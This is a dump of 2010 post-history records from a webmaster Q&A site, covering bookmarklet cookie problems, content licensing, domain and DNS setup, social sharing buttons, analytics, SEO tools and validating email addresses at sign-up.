  <row Id="11770" PostHistoryTypeId="2" PostId="5892" RevisionGUID="90020e46-1581-4551-a9fb-9b09e41e94ea" CreationDate="2010-11-25T02:04:56.550" UserId="3273" Text="I host a webservice, and provide my members with a Javascript bookmarklet, which loads a JS sript from my server. However, clients must be logged in, in order to receive the JS script. This works for almost everybody. However, some users on setups (i.e. browser/OS) that are &lt;b&gt;known to work&lt;/b&gt; for other people have the following problem: when they request the script via the javascript bookmarklet from my server, their cookie from my server does not get included with the request, and as such they are always &quot;not authenticated&quot;.&#xD;&#xA;&#xD;&#xA;I'm making the request in the following way:&#xD;&#xA;&#xD;&#xA;    var myScript = eltCreate('script');&#xD;&#xA;    myScript.setAttribute('src','http://myserver.com/script');&#xD;&#xA;    document.body.appendChild(myScript);&#xD;&#xA;&#xD;&#xA;In a fit of confused desperation, I changed the script page to simply output &quot;My cookie as [x] elements&quot; where [x] is `count($_COOKIE)`. If this extremely small subset of users requests the script via the normal method, the message reads &quot;My cookie has 0 elements&quot;. When they access the URL directly in their browser, the message reads &quot;My cookie has 7 elements&quot;.&#xD;&#xA;&#xD;&#xA;What on earth could be going on?!" />
  <row Id="11771" PostHistoryTypeId="1" PostId="5892" RevisionGUID="90020e46-1581-4551-a9fb-9b09e41e94ea" CreationDate="2010-11-25T02:04:56.550" UserId="3273" Text="cookie not being sent when requesting JS" />
  <row Id="11772" PostHistoryTypeId="3" PostId="5892" RevisionGUID="90020e46-1581-4551-a9fb-9b09e41e94ea" CreationDate="2010-11-25T02:04:56.550" UserId="3273" Text="&lt;javascript&gt;&lt;cookie&gt;" />
  <row Id="11773" PostHistoryTypeId="5" PostId="5892" RevisionGUID="11ba8f8a-ec9a-418d-a8d4-2ced271fe936" CreationDate="2010-11-25T05:03:59.220" UserId="3273" Comment="added 1 characters in body" Text="I host a webservice, and provide my members with a Javascript bookmarklet, which loads a JS sript from my server. However, clients must be logged in, in order to receive the JS script. This works for almost everybody. However, some users on setups (i.e. browser/OS) that are &lt;b&gt;known to work&lt;/b&gt; for other people have the following problem: when they request the script via the javascript bookmarklet from my server, their cookie from my server does not get included with the request, and as such they are always &quot;not authenticated&quot;.&#xD;&#xA;&#xD;&#xA;I'm making the request in the following way:&#xD;&#xA;&#xD;&#xA;    var myScript = eltCreate('script');&#xD;&#xA;    myScript.setAttribute('src','http://myserver.com/script');&#xD;&#xA;    document.body.appendChild(myScript);&#xD;&#xA;&#xD;&#xA;In a fit of confused desperation, I changed the script page to simply output &quot;My cookie has [x] elements&quot; where [x] is `count($_COOKIE)`. If this extremely small subset of users requests the script via the normal method, the message reads &quot;My cookie has 0 elements&quot;. When they access the URL directly in their browser, the message reads &quot;My cookie has 7 elements&quot;.&#xD;&#xA;&#xD;&#xA;What on earth could be going on?!" />
  <row Id="11774" PostHistoryTypeId="5" PostId="5806" RevisionGUID="99033d15-2b6c-4293-8c6b-f76ea707744f" CreationDate="2010-11-25T05:20:43.037" UserId="2840" Comment="added 1 characters in body" Text="GPL don't forbidden commercial usage. You &quot;just&quot; have to turn all your project with GPL licence.&#xD;&#xA;&#xD;&#xA;With a LGPL component, there is not this problem, but try to [look for articles under Creative Common licence without &quot;Non-Commercial&quot; clause][1]...&#xD;&#xA;&#xD;&#xA;Like all Stack Exchange articles who are on [Attribution-ShareAlike 2.5 Generic][2]! ^^&#xD;&#xA;&#xD;&#xA;Its just have &quot;Share-Alike&quot; and &quot;Attribution&quot; clauses so you have to:&#xD;&#xA;&#xD;&#xA;- keep this licence for the content you pick&#xD;&#xA;- attribute all the content you pick to Stack Exchange and it's author&#xD;&#xA;&#xD;&#xA;Wikipedia also use a version of CC without a &quot;Non-Commercial&quot; clause: [Creative Commons Attribution-ShareAlike 3.0 Unported License][3]&#xD;&#xA;&#xD;&#xA;[Creative Commons][4] is [a set of different licences][5], they are not all for &quot;Non-Commercial&quot; usage&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://search.creativecommons.org/&#xD;&#xA;  [2]: http://creativecommons.org/licenses/by-sa/2.5/&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Wikipedia:Text_of_Creative_Commons_Attribution-ShareAlike_3.0_Unported_License&#xD;&#xA;  [4]: http://creativecommons.org/&#xD;&#xA;  [5]: http://creativecommons.org/about/licenses/" />
  <row Id="11775" PostHistoryTypeId="2" PostId="5893" RevisionGUID="7f62158d-e264-4ec3-8b58-4e1f3157979f" CreationDate="2010-11-25T05:32:36.573" UserId="3453" Text="There used to be a website which I forgot, but the important thing is that http://dd24.net/ bought them (and they are ICANN certified)." />
  <row Id="11776" PostHistoryTypeId="2" PostId="5894" RevisionGUID="de9a488f-0d69-494a-995c-3ba25ae3644d" CreationDate="2010-11-25T05:35:24.213" UserId="1820" Text="I got my [rob.olmos.name][1] from DynDNS for $15. Unfortunately, *olmos.name* is only third-level registrable due to it being deemed a common last name. &#xD;&#xA;&#xD;&#xA;However, [DynDNS][2] offers the ability to setup email forwarding for a username on the second-level domain on a first-come-first-serve basis and I picked up *rob[@]olmos[.]name* (which I think is sweet) for another $10.&#xD;&#xA;&#xD;&#xA;That being said, good luck with getting far with a .name domain as you can see the trouble there already is with just the registrars searching and registering them. Rackspace Cloud Sites doesn't properly handle third-level .name so I just went with my own cloud server. I didn't try other hosting providers so I can't comment. &#xD;&#xA;&#xD;&#xA;Best to ask first if the email forwarding is available (if you have to do a third-level) for the first name with the registrar you go with **before** registering the domain to find it's already taken or not.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://rob.olmos.name&#xD;&#xA;  [2]: http://www.dyndns.com/" />
  <row Id="11777" PostHistoryTypeId="2" PostId="5895" RevisionGUID="3261ba75-1e4c-4307-9b31-fd6ba5fae556" CreationDate="2010-11-25T05:36:35.183" UserId="3453" Text="You should try webSPELL.&#xD;&#xA;They have been around for a long time and they make a recent esports/clan CMS." />
  <row Id="11779" PostHistoryTypeId="2" PostId="5897" RevisionGUID="d9ce03bd-f4aa-4cf2-9fda-0b206fa6c2ab" CreationDate="2010-11-25T05:48:47.627" UserId="3453" Text="Have a look at [this][1] and [this][2].&#xD;&#xA;I think you should write the export functions on your own, though, which is easy anyway.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://codecanyon.net/item/ultimate-client-manager/47626&#xD;&#xA;  [2]: http://codecanyon.net/item/php-login-user-management/49008" />
  <row Id="11781" PostHistoryTypeId="2" PostId="5899" RevisionGUID="0c1498d1-ca92-439a-a1e3-002885366c46" CreationDate="2010-11-25T07:33:16.700" UserDisplayName="user2589" Text="A lot of WordPress sites have a &quot;share this post to xxx&quot; link. I was wondering which &quot;xxx&quot; people click the most? A top 5 or something like that.&#xD;&#xA;&#xD;&#xA;I know Twitter and Facebook are in the list, but are there any others sites that are popular when it comes to sharing links?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11782" PostHistoryTypeId="1" PostId="5899" RevisionGUID="0c1498d1-ca92-439a-a1e3-002885366c46" CreationDate="2010-11-25T07:33:16.700" UserDisplayName="user2589" Text="Most used social bookmarking sites for sharing?" />
  <row Id="11783" PostHistoryTypeId="3" PostId="5899" RevisionGUID="0c1498d1-ca92-439a-a1e3-002885366c46" CreationDate="2010-11-25T07:33:16.700" UserDisplayName="user2589" Text="&lt;wordpress&gt;&lt;links&gt;&lt;social-media&gt;" />
  <row Id="11784" PostHistoryTypeId="2" PostId="5900" RevisionGUID="ab932da3-0730-458f-a4d1-2b0934a09f38" CreationDate="2010-11-25T08:22:39.133" UserId="1757" Text="If you want to add more detailed tracking data, then you can use [Custom Variables][1]. If you want to add other traffic streams that GA is not capable of tracking (e.g. users with JS disabled), then that's more tricky.&#xD;&#xA;&#xD;&#xA;One way you could achieve this is by creating your own reports or custom dashboard using Google Analytics' [Data Export API][2]. Just take your raw GA data, add your own server-side analytics data, and then use something like [JavaScript InfoVis Toolkit][3], [Google Charts][4], or [jQuery Visualize][5] to display the combined data.&#xD;&#xA;&#xD;&#xA;Check out some of the other questions for self-hosted log-file-based analytics solutions which don't require JavaScript.&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/analytics/docs/tracking/gaTrackingCustomVariables.html&#xD;&#xA;  [2]: http://code.google.com/intl/en/apis/analytics/&#xD;&#xA;  [3]: http://thejit.org&#xD;&#xA;  [4]: http://code.google.com/apis/chart/&#xD;&#xA;  [5]: http://www.filamentgroup.com/lab/update_to_jquery_visualize_accessible_charts_with_html5_from_designing_with/" />
  <row Id="11785" PostHistoryTypeId="2" PostId="5901" RevisionGUID="021b4aa3-e705-4d1c-bafc-afdb6b047517" CreationDate="2010-11-25T08:46:47.223" UserId="1757" Text="Not a CMS, but [PassPack][1] seems to be designed specifically for this purpose.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.passpack.com/en/home/" />
  <row Id="11786" PostHistoryTypeId="5" PostId="5901" RevisionGUID="3b353512-e963-4a99-903f-d7a530e11346" CreationDate="2010-11-25T08:55:15.017" UserId="1757" Comment="added 423 characters in body" Text="Not a CMS, but [PassPack][1] seems to be designed specifically for this purpose. [Thycotic's SecretServer][2] is a self-hosted solution. Other alternatives include [LastPass][3], [Mitto][4], and [CloudSafe][5]. [Here's a list][6] of other potential alternatives.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.passpack.com/en/home/&#xD;&#xA;  [2]: http://www.thycotic.com/products_secretserver_overview.html&#xD;&#xA;  [3]: https://lastpass.com/&#xD;&#xA;  [4]: http://mitto.com/&#xD;&#xA;  [5]: https://secure.cloudsafe.com/&#xD;&#xA;  [6]: http://alternativeto.net/software/clipperz/?sort=likes&amp;platform=online" />
  <row Id="11787" PostHistoryTypeId="2" PostId="5902" RevisionGUID="1a5b9ea4-93ec-43e0-87ed-5806a1076783" CreationDate="2010-11-25T09:39:49.683" UserDisplayName="Alen Todorov" Text="The best way to do this would be to tag your links with all the required utm parameters (source, campaign, medium) and also add utm_content=&quot;recommendations&quot; (for example) . In order not to overide the current sources just add utm_nooveride=1 &#xD;&#xA;&#xD;&#xA;This is how we also implemented the tracking on [utm.to][1] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://utm.to" />
  <row Id="11788" PostHistoryTypeId="2" PostId="5903" RevisionGUID="75c96c7f-7d66-4fa8-a450-7d142307ee31" CreationDate="2010-11-25T09:46:28.883" UserId="3461" Text="I agree mostly with all the above answered. Yet so, will add some bits:&#xD;&#xA;&#xD;&#xA;- During some time, was said Drupal was sort of preferred by people wanting more control over html and css, and Joomla being easier for the non coder people. These things are often little more than rumors, but was said by many. As softwares evolve, these situations change drastically, tho. You'd better test both. (some friends of mine found Joomla easier, though)&#xD;&#xA;&#xD;&#xA;- It was also said drupal URLs to be better for SEO. Again, it might all have changed.&#xD;&#xA;&#xD;&#xA;- There are a lot of free plugins for Wordpress. I might prefer Blogger because I like to fine tune css and html to make custom looks, and not willing to pay for a blog. Still, a lot of people use successfully Wordpress as cms, with plugins(tons) and tricks, because they are not much coding savy, or because they just love Wordpress. Is an ok route.&#xD;&#xA;&#xD;&#xA;- The 3 of them can be installed the easiest way, and also all other stuff needed (dependencies, etc) using bitnami stacks (sort of installers).  [http://bitnami.org][1] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://bitnami.org" />
  <row Id="11789" PostHistoryTypeId="2" PostId="5904" RevisionGUID="419b130c-318f-4666-9889-9f6d9a109457" CreationDate="2010-11-25T10:04:29.220" UserId="3461" Text="To get apache/mysql/php running you can just install bitnami WAMPstack [http://bitnami.org/stack/wampstack][1] . It's free like all installers there, and they install with the typical wizzards, great for people new to all these things.&#xD;&#xA;&#xD;&#xA;You have [there][2] as well stacks for the mentioned Redmine, Drupal, LAMP and you might be interested in Moodle stack (it's for eLearning, great for teachers)&#xD;&#xA;&#xD;&#xA;Depending on what you want to do, it can be of use also Gallery, Coppermine gallery, Mediawiki...&#xD;&#xA;&#xD;&#xA;  [1]: http://bitnami.org/stack/wampstack&#xD;&#xA;  [2]: http://bitnami.org/stacks" />
  <row Id="11790" PostHistoryTypeId="2" PostId="5905" RevisionGUID="48e17f5d-98e6-41c5-bd71-bcaef5d779ae" CreationDate="2010-11-25T10:10:21.287" UserId="3461" Text="It might depend on your target. But I guess some good sugestions could be Delicious, StumbleUpon, Reddit, Digg." />
  <row Id="11791" PostHistoryTypeId="2" PostId="5906" RevisionGUID="faa9b952-cf43-4905-bf92-5ea8b4b4dcc8" CreationDate="2010-11-25T10:18:08.140" UserId="3461" Text="Little word of warning. If for some reason (I'm hoping IE6 gets fully deprecated) you have a real need to support IE6, that browser does not support position:fixed. You might want to use the &quot;_&quot; css property hack to just make it position absolute ( _position:absolute; )  for the case of IE6. Some other properties tweaking might be needed to look similar to non IE6 versions, and to behave in a way that at least is ok to go." />
  <row Id="11792" PostHistoryTypeId="2" PostId="5907" RevisionGUID="b0f21df1-c563-4415-88f8-8160a66d2f30" CreationDate="2010-11-25T10:39:55.707" UserId="3307" Text="1) The easiest way would be to put them in a div and &quot;refresh&quot; that using AJAX. However, it's work reading through the AdSense T&amp;Cs as this might not be allowed.&#xD;&#xA;&#xD;&#xA;2) Not sure on this one." />
  <row Id="11796" PostHistoryTypeId="2" PostId="5909" RevisionGUID="988b4448-3de9-4875-8b39-6a7c1411f302" CreationDate="2010-11-25T10:44:14.020" UserId="1953" Text="In my experience the most popular still seems to be email (I know it's not exactly a social sit but I thought it was worth mentioning since people seem to be around 2x as likely to share via email for most of the sites I manage) followed by either twitter or Facebook. Then it varies between stumbleupon, delicious and Digg depending on the target market (although digg seems to be decreasing in popularity and reddit seems to be increasing)." />
  <row Id="11797" PostHistoryTypeId="2" PostId="5910" RevisionGUID="36a1e59a-bec3-4dc6-bc72-08c239e8bec3" CreationDate="2010-11-25T10:48:04.920" UserId="3461" Text="For your tools last question, I'd suggest [Mediacoder][1], if you meant a PC free utility in that last question, not a server tool. That one can encode H264. (not sure if y ou needed to download as well .h264 codec. Maybe. ) Videos encoded so work great for Youtube uploads, and are really small in size, though keep a great quality. My favourite route, so far, after many tests.&#xD;&#xA;&#xD;&#xA;I've used FFMPEG, and after quite some dealing with its parameters can output stuff well, and there are user submitted windows binaries at some sites. I find though quite easier to just use Mediacoder, or encode to FLV using Riva encoder or ON2 Flix Standard.(flv mostly to upload to a custom flv player mounted on your server, but that can kill a lot of bandwidth.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mediacoderhq.com/" />
  <row Id="11798" PostHistoryTypeId="2" PostId="5911" RevisionGUID="4c093891-76bb-4cb6-b46f-e7fd6cf68d0a" CreationDate="2010-11-25T10:56:28.733" UserId="1953" Text="You should be able to create a conversion funnel where the first step in the funnel is visiting the products recommendation page. Also if you have ecommerce enabled you should be able to see the &quot;$index&quot; of those pages. &#xD;&#xA;&#xD;&#xA;Here's the adwords help page about $index&#xD;&#xA;http://www.google.com/support/analytics/bin/answer.py?hl=en&amp;answer=86205" />
  <row Id="11799" PostHistoryTypeId="2" PostId="5912" RevisionGUID="dce2aba7-4708-46bc-94f1-f6301e12ce8f" CreationDate="2010-11-25T11:18:33.277" UserId="1953" Text="1. Start by using Ontolo's free SERP dominator tool (free registration required) this will let you know which sites specifically are ranking across your top keywords (IE the most powerful) even if you think you know it's worth the 5 minutes it takes to run the report because you'll usually find a surprise or two.&#xD;&#xA;&#xD;&#xA;2. then buy your comepetitor's backlink profiles from Majestic SEO, this will give you all the link info you can handle, they have also developed their own ranking system (similar to PR or Mozrank) I believe for the basic subscription its ~$10 and you get something like reports on 5 sites/month. (open site explorer has similar data and can be used as an alternative it's just a matter of preference).&#xD;&#xA;&#xD;&#xA;3. I also like to look at Majestic SEO's &quot;compare domain history&quot; report (its free) it allows you to see how quickly and steadily your comptitors have been building links over time.&#xD;&#xA;&#xD;&#xA;4. From there I look at top linked pages, unique linking domains, and sort by link type (IE forums, blog comments, media mentions, etc.) to know how they are getting their links, what content draws the most links, and who they are getting them from.&#xD;&#xA;&#xD;&#xA;Bonus tip* You can also use SemRush to get an idea of what other keywords your competitors are ranking for, this will help you know who is competing head to head with you and who is mainly focused on other industries that overlap with yours, it will help find additional keywords you may want to target, and related niches for link building." />
  <row Id="11800" PostHistoryTypeId="2" PostId="5913" RevisionGUID="561051be-39aa-4305-a366-90f91cb12452" CreationDate="2010-11-25T11:34:05.487" UserId="1953" Text="You'll find most black hat tactics have their roots in white hat practices, it's my understanding that the mini-net and link wheel concepts are taken from main stream media. Most newspapers and magazines own far more then just one publication they have many niche publications and usually somewhere on each of them it says its owned by x or it's an x publication with a link back to the flagship site. So these practices in themselves are not bad, they've been in use since before there was an internet (take a look at some of your print magazines there's almost guaranteed to be some cross promotion). &#xD;&#xA;&#xD;&#xA;In my mind when it turns to spam is when you get lazy with it, it's pretty easy to go to textbroker.com buy 5 or 10 articles for less then $100 total and spin them into a few hundred or thousand unique articles and then just change the links around a bit and place them where you want them, so that's how most people do it, and thats why it's generally regarded as spam." />
  <row Id="11801" PostHistoryTypeId="2" PostId="5914" RevisionGUID="133cb73b-eee2-4049-8ad8-fad112a89c3b" CreationDate="2010-11-25T14:18:07.983" UserId="2713" Text="I think that a proxy or the ISP filters those cookies from scripts out. Mobile ISPs are known to do such nasty things, like Vodafone, which e.g. puts every script and css into the html page as inline &amp;lt;script ...&amp;gt; or &amp;lt;style ...&amp;gt;.&#xD;&#xA;I would ask by the clients what kind of internet acces they have, and to send you a saved copy of the html-page, which they get, when they access your site.&#xD;&#xA;Cheers,&#xD;&#xA;&#xD;&#xA;Adam" />
  <row Id="11806" PostHistoryTypeId="2" PostId="5916" RevisionGUID="a6d01465-6f94-4327-b803-4fd8db0de718" CreationDate="2010-11-25T15:19:09.657" UserId="2293" Text="See this: http://gs.statcounter.com/&#xD;&#xA;&#xD;&#xA;You can filter by social media, and your country." />
  <row Id="11807" PostHistoryTypeId="2" PostId="5917" RevisionGUID="b2831c7b-be0e-41b0-a382-98b2b99e19ed" CreationDate="2010-11-25T15:22:05.157" UserDisplayName="Nick" Text="Does anybody have knowledge of using Rvsitebuilder to build a site? Would love some advice!" />
  <row Id="11808" PostHistoryTypeId="1" PostId="5917" RevisionGUID="b2831c7b-be0e-41b0-a382-98b2b99e19ed" CreationDate="2010-11-25T15:22:05.157" UserDisplayName="Nick" Text="Using RVsitebuilder" />
  <row Id="11809" PostHistoryTypeId="3" PostId="5917" RevisionGUID="b2831c7b-be0e-41b0-a382-98b2b99e19ed" CreationDate="2010-11-25T15:22:05.157" UserDisplayName="Nick" Text="&lt;seo&gt;" />
  <row Id="11810" PostHistoryTypeId="2" PostId="5918" RevisionGUID="14b54ec8-64c2-490b-8bf8-53e518cf9a0f" CreationDate="2010-11-25T16:00:48.063" UserId="1381" Text="We have setup a cloud virtual server at rackspace in the US, but we use it from Europe. I found out I am not quite happy with the response time. Of course I knew that there would be some latency. But I am not sure if it is the overseas latency (ping is 120ms) or also the minimal resources. It is the smallest machine, 256 MB, 10 GB, running a Mediawiki on Ubuntu 10.04 64 bit. The Instance lives in the rackspace ORD1 datacenter.&#xD;&#xA;&#xD;&#xA;As soon as they have opened their new facilities in the UK we plan moving the incstance there. But we are planing more machines already. The pricing is quite attractive.&#xD;&#xA;&#xD;&#xA;I don't really want to do some measuring and benchmarking and this stuff, so I am asking just for your opinions and it would be nice to hear what you can tell from your experience. Maybe someone who uses such small instances in the US. And what can we really expect if we upgrade to more resources.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11811" PostHistoryTypeId="1" PostId="5918" RevisionGUID="14b54ec8-64c2-490b-8bf8-53e518cf9a0f" CreationDate="2010-11-25T16:00:48.063" UserId="1381" Text="Rackspace Cloud Servers in Europe?" />
  <row Id="11812" PostHistoryTypeId="3" PostId="5918" RevisionGUID="14b54ec8-64c2-490b-8bf8-53e518cf9a0f" CreationDate="2010-11-25T16:00:48.063" UserId="1381" Text="&lt;cloud-hosting&gt;&lt;virtualhost&gt;" />
  <row Id="11813" PostHistoryTypeId="2" PostId="5919" RevisionGUID="8c3e4277-456b-4c9d-90da-7bceaf7d8ed8" CreationDate="2010-11-25T16:08:29.083" UserId="2032" Text="I need to forward a domainA to redirect to domainB. I've been doing this via CNAME records but for this situation I need to leave email addresses for domainA intact and unaffected while redirecting web traffic. Would this be safe if using a CNAME change?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="11814" PostHistoryTypeId="1" PostId="5919" RevisionGUID="8c3e4277-456b-4c9d-90da-7bceaf7d8ed8" CreationDate="2010-11-25T16:08:29.083" UserId="2032" Text="changing CNAME record, will it affect existing email addresses" />
  <row Id="11815" PostHistoryTypeId="3" PostId="5919" RevisionGUID="8c3e4277-456b-4c9d-90da-7bceaf7d8ed8" CreationDate="2010-11-25T16:08:29.083" UserId="2032" Text="&lt;email&gt;&lt;dns&gt;&lt;redirects&gt;" />
  <row Id="11816" PostHistoryTypeId="2" PostId="5920" RevisionGUID="a84c72a0-5e68-4dd2-94d8-cf48a8574306" CreationDate="2010-11-25T16:14:41.573" UserId="2032" Text="[http://www.addthis.com/services#cat=bookmarking][1] shows stats from addthis.com. They're not a bad place to start&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.addthis.com/services#cat=bookmarking" />
  <row Id="11817" PostHistoryTypeId="2" PostId="5921" RevisionGUID="818dcde0-aec6-4ca8-9e27-955e1d1f8eee" CreationDate="2010-11-25T16:20:31.957" UserId="1955" Text="No. It is the MX record that is used for the email server." />
  <row Id="11818" PostHistoryTypeId="6" PostId="5892" RevisionGUID="e1437f65-7cfa-43df-b442-90cbde5d95a9" CreationDate="2010-11-25T16:35:52.140" UserId="2293" Comment="edited tags" Text="&lt;javascript&gt;&lt;cookie&gt;&lt;web-services&gt;" />
  <row Id="11819" PostHistoryTypeId="2" PostId="5922" RevisionGUID="b7dacfca-6015-493d-8a6d-02fe7ed1fc20" CreationDate="2010-11-25T16:45:34.390" UserId="2293" Text="Browser access is different from embedding a script.&#xD;&#xA;&#xD;&#xA;Cookies are sent along with HTTP Request. Browsers does that automatically when you click or type an address on them, embedding script usually does not.&#xD;&#xA;&#xD;&#xA;I think you can look at Delicious Link Rolls solution provided by yahoo to get a better idea. Also, study that using Firefox + Firebug + Firecookie, and check into Network tab the request headers that pump up." />
  <row Id="11820" PostHistoryTypeId="2" PostId="5923" RevisionGUID="61ebaa55-95b0-42ed-b935-0513ef9f4527" CreationDate="2010-11-25T17:41:16.320" UserDisplayName="kari_kari" Text="I have thousands of users signed-up in my site so i have a good number of statistical data to analyze to you my problem...&#xD;&#xA;&#xD;&#xA;In the sign-up proccess of my website, exists username, password etc... and there are TWO fields which are asking for email (email and confirmation of email...as usual)&#xD;&#xA;&#xD;&#xA;The problem is, that 26% (i just calculated it) of users are entering AND RE-ENTERING (at confirm your email field) wrong email adress!! i know what you thinking, they are NOT spammers. they are tottaly legit but wrong email adresses.&#xD;&#xA;&#xD;&#xA;Examples of emails...&#xD;&#xA;&#xD;&#xA;MARY@HOTMAIL.COM (no comment...)&#xD;&#xA;&#xD;&#xA;WWW.GEORGE@WINDOWSLINE.COM (YES WWW and WINDOWSLINE OMG)&#xD;&#xA;&#xD;&#xA;FASDFASDFASDFASFASDF@GOOGLE.COM (RANDOMNESS)&#xD;&#xA;&#xD;&#xA;ok these are just examples so you can have a laugh, the most of the wrong emails are just wrong addresses. i dont know why 26% of users just DONT KNOW THEIR #e@$@# EMAIL!&#xD;&#xA;&#xD;&#xA;I just want to ask you, &#xD;&#xA;&#xD;&#xA;1) what percentage of your users are entering (and re-enter in confirm field) their email adress, &#xD;&#xA;&#xD;&#xA;and &#xD;&#xA;&#xD;&#xA;2) how a desperate webmaster can handle this situation? Of course i can't get in contact with these users, because i dont have their emails!&#xD;&#xA;&#xD;&#xA;sigh...&#xD;&#xA;&#xD;&#xA;p.s. most of my users are of age 30-35+, and they are not english people. i can say that internet is about 10 years old (or less) popular in my country. but in many wrong email adresses i can tell that they belong to kids which have better understanding of computers (for example their adresses ends with 1987, 95 etc..)&#xD;&#xA;&#xD;&#xA;Im really curious about your answers and your failed-signups percentage!&#xD;&#xA;&#xD;&#xA;Thanks guys!&#xD;&#xA;&#xD;&#xA;oh and sorry for any grammar mistakes, im not native english speaker!" />
  <row Id="11821" PostHistoryTypeId="1" PostId="5923" RevisionGUID="61ebaa55-95b0-42ed-b935-0513ef9f4527" CreationDate="2010-11-25T17:41:16.320" UserDisplayName="kari_kari" Text="People sign-up to my website... they keep entering invalid email addresses NOT SPAMMERS" />
  <row Id="11822" PostHistoryTypeId="3" PostId="5923" RevisionGUID="61ebaa55-95b0-42ed-b935-0513ef9f4527" CreationDate="2010-11-25T17:41:16.320" UserDisplayName="kari_kari" Text="&lt;registration&gt;" />
  <row Id="11823" PostHistoryTypeId="2" PostId="5924" RevisionGUID="17e0ea1a-19d9-4f7c-a958-0fccaf2bbca0" CreationDate="2010-11-25T17:59:15.827" UserId="1253" Text="An easy way to detect bogus email addresses is to send an email to the address with a confirmation link inside. If the user doesn't click on the confirmation link their account is not activated and they can't use their website until they do. This will catch fake email addresses but not prevent someone from creating a throw away address. However, this will deter the vast majority of users who are abusing your system.&#xD;&#xA;&#xD;&#xA;If you use PHP you can use the [`checkdnsrr()`][1] function to see if MX records have been set up for the domain name in their email address. If they haven't, or the domain doesn't exist, you will know immediately. (It is possible that some domains do not have these records set up that are legitimate. But these are few and far between).&#xD;&#xA;&#xD;&#xA;    list(, $domain) = explode('@', $email_address);&#xD;&#xA;    if (function_exists('checkdnsrr') &amp;&amp; !checkdnsrr($domain, 'MX'))&#xD;&#xA;    {&#xD;&#xA;        // invalid email address&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://us2.php.net/manual/en/function.checkdnsrr.php" />
  <row Id="11824" PostHistoryTypeId="5" PostId="5924" RevisionGUID="271b1f4e-e53e-46e6-b430-ca19e43aaa3a" CreationDate="2010-11-25T18:05:07.480" UserId="1253" Comment="added 314 characters in body" Text="An easy way to detect bogus email addresses is to send an email to the address with a confirmation link inside. If the user doesn't click on the confirmation link their account is not activated and they can't use their website until they do. This will catch fake email addresses but not prevent someone from creating a throw away address. However, this will deter the vast majority of users who are abusing your system. &#xD;&#xA;&#xD;&#xA;In your case, you can go deactivate everyone's account (probably after a set period of time) unless they confirm their email address. This will be inconvenient to your users but if these bogus email addresses are a real problem this will solve it. Then you can verify future members using the technique above.&#xD;&#xA;&#xD;&#xA;If you use PHP you can use the [`checkdnsrr()`][1] function to see if MX records have been set up for the domain name in their email address. If they haven't, or the domain doesn't exist, you will know immediately. (It is possible that some domains do not have these records set up that are legitimate. But these are few and far between).&#xD;&#xA;&#xD;&#xA;    list(, $domain) = explode('@', $email_address);&#xD;&#xA;    if (function_exists('checkdnsrr') &amp;&amp; !checkdnsrr($domain, 'MX'))&#xD;&#xA;    {&#xD;&#xA;        // invalid email address&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://us2.php.net/manual/en/function.checkdnsrr.php" />
  <row Id="11825" PostHistoryTypeId="2" PostId="5925" RevisionGUID="e3e08a10-bf65-4ead-9bd9-427c1b3b468a" CreationDate="2010-11-25T18:24:09.057" UserId="3472" Text="I would like to know if making a search engine that indexes sites which index mega video links which contain movies that are protected by copyright law is legal. The thing is, viewing the streams is legal in the country I reside in (Switzerland) according to numerous news articles. Now uploading the streams is illegal that I know. But is indexing them also illegal? I mean all the links are also indexed on google but not selectively of course.&#xD;&#xA;&#xD;&#xA;I would very much appreciate an answer of any kind. I certainly do not want to do anything which is illegal.&#xD;&#xA;&#xD;&#xA;Thanking you in advance,&#xD;&#xA;Flyingswissman" />
  <row Id="11826" PostHistoryTypeId="1" PostId="5925" RevisionGUID="e3e08a10-bf65-4ead-9bd9-427c1b3b468a" CreationDate="2010-11-25T18:24:09.057" UserId="3472" Text="Stream search - legality" />
  <row Id="11827" PostHistoryTypeId="3" PostId="5925" RevisionGUID="e3e08a10-bf65-4ead-9bd9-427c1b3b468a" CreationDate="2010-11-25T18:24:09.057" UserId="3472" Text="&lt;search-engines&gt;&lt;legal&gt;" />
  <row Id="11828" PostHistoryTypeId="2" PostId="5926" RevisionGUID="3c602f5a-0eb3-43b4-87f3-3e1eb964b495" CreationDate="2010-11-25T19:04:29.707" UserId="1429" Text="Try this one, it's great: http://www.majesticseo.com/" />
  <row Id="11829" PostHistoryTypeId="2" PostId="5927" RevisionGUID="7aca1f64-8a2e-4611-8978-61820009d323" CreationDate="2010-11-25T19:34:03.557" UserId="1429" Text="nowadays your site is not on fashion (1) if you don't show at least a couple of share buttons like these:&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;**Is this just fashion, or did someone of you got something good out of it?** &#xD;&#xA;&#xD;&#xA;When I say *&quot;something good&quot;* **I mostly mean something that you could measure, and not just the feeling that was good**.&#xD;&#xA;&#xD;&#xA;Maybe I can better explain with an example: **did you notice (in some way) many people clicked on those links to share your page/s on those web 2.0 social sites?** And in such a case on which social networks did you see they mostly share your pages?&#xD;&#xA;&#xD;&#xA;BTW i'm not talking about Google PR, i know [all web 2.0 social sites use nofollow everywhere and even hidden links, so they are useless by themselves for PR.][2]&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;(1) any moderator/editor plz fix my english, don't know if it's *&quot;out of fashion&quot;* or *&quot;not on fashion&quot;* or something else.&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/tzX8b.jpg&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/2260/seo-links-from-facebook-delicious-digg-are-useful-to-increase-google-pr" />
